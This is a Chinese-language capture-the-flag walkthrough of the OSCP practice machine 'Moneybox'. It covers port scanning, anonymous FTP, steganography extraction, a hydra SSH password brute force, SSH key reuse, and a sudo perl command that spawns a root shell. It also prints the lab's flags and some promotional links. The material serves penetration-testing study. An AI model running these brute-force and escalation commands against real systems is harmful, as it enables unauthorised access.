OSCP系列靶场-Esay-Moneybox

总结

getwebshell : 目录扫描发现目录 → HTML中发现隐藏keyFTP匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda爆破ssh进入内部

提 权 思 路 : history发现存在私钥 → 登录其他用户 → perl权限提升

准备工作

  • 启动VPN

    获取攻击机IP → 192.168.45.191

  • 启动靶机

    获取目标机器IP → 192.168.162.230

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
复制代码
  1. sudo nmap --min-rate 10000 -p- 192.168.162.230

  2. PORT STATE SERVICE

  3. 21/tcp open ftp

  4. 22/tcp open ssh

  5. 80/tcp open http

开放的端口-→21,22,80

目标端口对应服务探测

复制代码
  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230

  3. PORT STATE SERVICE VERSION

  4. 21/tcp open ftp vsftpd 3.0.3

  5. 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

  6. 80/tcp open http Apache httpd 2.4.38 ((Debian))

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap探测信息为21/tcp open ftp vsftpd 3.0.3

复制代码
  1. # ftp配置文件位置

  2. /etc/vsftpd.conf

21-FTP端口匿名登录测试(存在)

尝试匿名账号anonymous以及无密码进行登录测试

复制代码
  1. # 利用ftp协议+ip进行连接测试

  2. ftp 192.168.162.230

  3. Name: anonymous

21-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限

利用GET下载文件

复制代码
  1. # binary 以二进制模式传输文件,保证文件完整

  2. ftp → binary

  3. # 查看目录结构

  4. ftp → ls -al

  5. # cd 查看存储的文件

  6. ftp → cd [file_date_name]

  7. # get 下载文件

  8. ftp → get [file_name]

发现了trytofind.jpg下载到了本地

打开是一张纯粹的图片,推测有隐写术

21-FTP端口-PUT上传测试

测试是否可以利用PUT上传文件

复制代码
  1. # put 上传文件

  2. ftp → put [file_name]

不具备上传功能

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用

探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

复制代码
  1. # 搜索对应脚本

  2. msf6 → searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

复制代码
  1. sudo ssh root @192.168.162.230 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

复制代码
  1. sudo ssh root @192.168.162.230 -p 22

  2. # 密码尝试

  3. password → root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

复制代码
  1. sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问 http://192.168.162.230:80 不是CMS我们直接从HTML隐藏信息收集开始

网站说很简单,我不信(¬︿̫̿¬☆)

信息收集-HTML隐藏信息查看
复制代码
  1. # 包括文章中是否写明一些敏感信息

  2. curl http://192.168.162.230:80

无隐藏内容

信息收集-目录扫描
信息收集-目录扫描初步
复制代码
  1. dirsearch -u http://192.168.162.230:80 -x 302,403

通过扫描发现了一个新的端点/blogs/

因为扫出了目录,深层次的扫描待选

复制代码
  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典)

  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
/blogs/端点访问

从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备

curl了一下发现了新的隐藏路径S3cr3t-T3xt

/S3cr3t-T3xt端点访问

提示是没有

curl了一下,发现了新内容....一个key 3xtr4ctd4t4

漏洞利用-getwebshell

key利用

根据现有内容key应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码

通过CHATGPT推荐使用工具 steghide

通过chatgpt获取对应的工具使用方式

复制代码
  1. steghide extract -sf -xf -p

其中:

  • `` 是包含隐藏信息的图像文件

  • `` 是提取的信息输出文件

  • `` 是解密隐藏信息的密码

修改成我们需要的样子

复制代码
  1. steghide extract -sf trytofind.jpg -xf mian.txt

  2. password → 3xtr4ctd4t4

成功获得main.txt

信息泄露获得用户名

打开发现内容 确定密码很简单并且用户名是renu

复制代码
  1. Hello..... renu

  2. I tell you something Important.Your Password is too Week So Change Your Password

  3. Don't Underestimate it.......

SSH爆破登录

这样我们可以尝试爆破一下renu的账户,利用工具hyrda

复制代码
  1. # -l 指定用户名 -P指定密码字典

  2. hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22

成功得到了账号密码信息

复制代码
  1. [22][ssh] host: 192.168.162.230 login: renu password: 987654321

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

复制代码
  1. sudo ssh renu @192.168.162.230 -p22

  2. password → 987654321

成功打入内部,第一步完成

内网遨游-getshell

FLAG1获取

复制代码
  1. renu @MoneyBox:~$ find / -name local.txt 2→/dev/null

  2. /home/renu/local.txt

  3. renu @MoneyBox:~$ cat /home/renu/local.txt

  4. ad71d6f825f157311d017a8bd94a7e03

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

复制代码
  1. # 确定发行版本

  2. renu @MoneyBox:~$ lsb_release -a

  3. No LSB modules are available.

  4. Distributor ID: Debian

  5. Description: Debian GNU/Linux 10 (buster)

  6. Release: 10

  7. Codename: buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

复制代码
  1. renu @MoneyBox:~$ uname -a

  2. Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
复制代码
  1. renu @MoneyBox:~$ id

  2. uid=1001(renu) gid=1001(renu) groups=1001(renu)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件

如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

复制代码
  1. # 利用sudo -l寻找

  2. sudo -l

发现需要密码,尝试987654321失败

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

复制代码
  1. # -perm 文件权限

  2. find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

复制代码
  1. renu @MoneyBox:~$ ls -al /etc/passwd

  2. -rw-r--r-- 1 root root 1486 Feb 26 2021 /etc/passwd

/etc/shadow权限收集
  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权

  • 如果/etc/shadow具有可读权限可以爆破密码

    复制代码
    getcap标志进程收集

    高版本下suid列举不全,查看getcap

    复制代码
    1. # 探查有CAP_SETUID标志的进程

    2. /usr/sbin/getcap -r / 2→/dev/null

    3. renu @MoneyBox:~$ ls -al /etc/shadow

    4. -rw-r----- 1 root shadow 1095 Oct 11 2022 /etc/shadow

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

复制代码
  1. # 寻找定时任务并修改进行提权

  2. cat /etc/crontab

查看历史信息

可能用户留下的历史信息具有有用的信息

复制代码
  1. history

发现存在登录到其他用户的历史命令

复制代码
  1. ssh -i id_rsa lily @192.168.43.8

查看一下本用户/home目录下是否存在SSH密钥

再查看一下lily目录下是否存在authorized keys

确认存在之后尝试登录lily的用户

复制代码
  1. # 修改一下ip

  2. ssh -i id_rsa lily @ 192.168.162.230

登录成功,准备进行新的信息收集

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件

利用sudo -l寻找

复制代码
  1. lily @MoneyBox:~$ sudo -l

  2. Matching Defaults entries for lily on MoneyBox:

  3. env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  4. User lily may run the following commands on MoneyBox:

  5. (ALL : ALL) NOPASSWD: /usr/bin/perl

看到了内容 会心一笑

perl权限提升

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

复制代码
  1. sudo perl -e 'exec "/bin/sh";'

找到了提权的命令,提权成功

复制代码
  1. lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'

  2. # is

  3. /bin/sh: 1: is: not found

  4. # id

  5. uid=0(root) gid=0(root) groups=0(root)

FLAG2获取

复制代码
  1. # cat /root/proof.txt

  2. 7b0bce8f4b59a3db7d173f3e833e50f8

复制代码
  1. 完结撒花~

总结

查看历史记录也是一件很重要的事情

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!

渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

相关推荐
毒果1 小时前
网络安全全景解析
安全·web安全
云盾安全防护2 小时前
CC攻击与WAF的对抗战
网络·安全·ddos
网硕互联的小客服4 小时前
如何在服务器上部署 Python Django 应用
linux·运维·服务器·网络·安全
渗透好难4 小时前
CTF show 数学不及格
安全·系统安全·密码学
百度安全5 小时前
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
安全·百度
像素工坊可视化6 小时前
监控升级:可视化如何让每一个细节 “说话”
运维·人工智能·安全
程序员阿超的博客6 小时前
【安全篇】金刚不坏之身:整合 Spring Security + JWT 实现无状态认证与授权
java·spring boot·安全·spring
好想打kuo碎6 小时前
轻量安全的密码管理工具Vaultwarden
linux·安全·ubuntu
windy1a8 小时前
【c语言】安全完整性等级
安全
互联网搬砖老肖9 小时前
Web 架构之 API 安全防护:防刷、防爬、防泄漏
前端·安全·架构